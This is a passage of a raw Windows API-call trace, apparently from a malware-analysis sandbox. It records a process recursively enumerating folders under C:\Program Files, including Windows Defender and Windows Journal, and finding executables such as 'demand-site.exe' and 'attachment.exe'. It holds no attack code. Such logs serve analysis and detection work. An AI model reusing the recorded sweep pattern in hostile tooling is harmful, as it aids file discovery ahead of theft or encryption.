Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.799] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.799] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0043.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.799] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.799] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0043.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.799] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.799] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0043.799] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.799] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.800] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0043.800] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.800] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.800] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0043.800] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.800] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.801] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0043.801] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.801] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.801] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0043.801] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.801] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.801] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0043.802] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.802] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.802] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0043.802] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.802] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.802] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0043.802] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.802] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.802] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0043.803] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.803] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.803] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0043.803] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.803] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.803] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0043.803] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.803] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.803] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81cd6ff0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81cd6ff0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0043.803] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81cd6ff0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81cd6ff0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.803] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81cd6ff0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81cd6ff0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.803] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcb2f0, ftCreationTime.dwHighDateTime=0x1d4d8c8, ftLastAccessTime.dwLowDateTime=0x3bad8710, ftLastAccessTime.dwHighDateTime=0x1d5028d, ftLastWriteTime.dwLowDateTime=0x3bad8710, ftLastWriteTime.dwHighDateTime=0x1d5028d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="demand-site.exe", cAlternateFileName="DEMAND~1.EXE")) returned 1 [0043.803] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0043.803] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.804] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0043.804] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.804] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.804] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0043.804] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.804] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.805] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81e53db0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81e53db0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0043.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81e53db0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81e53db0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.805] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81e53db0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81e53db0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.805] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855e2db0, ftCreationTime.dwHighDateTime=0x1d4d4e8, ftLastAccessTime.dwLowDateTime=0x506df530, ftLastAccessTime.dwHighDateTime=0x1d4965f, ftLastWriteTime.dwLowDateTime=0x506df530, ftLastWriteTime.dwHighDateTime=0x1d4965f, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="attachment.exe", cAlternateFileName="ATTACH~1.EXE")) returned 1 [0043.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0044.009] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.009] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0044.009] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0044.009] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0044.009] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, 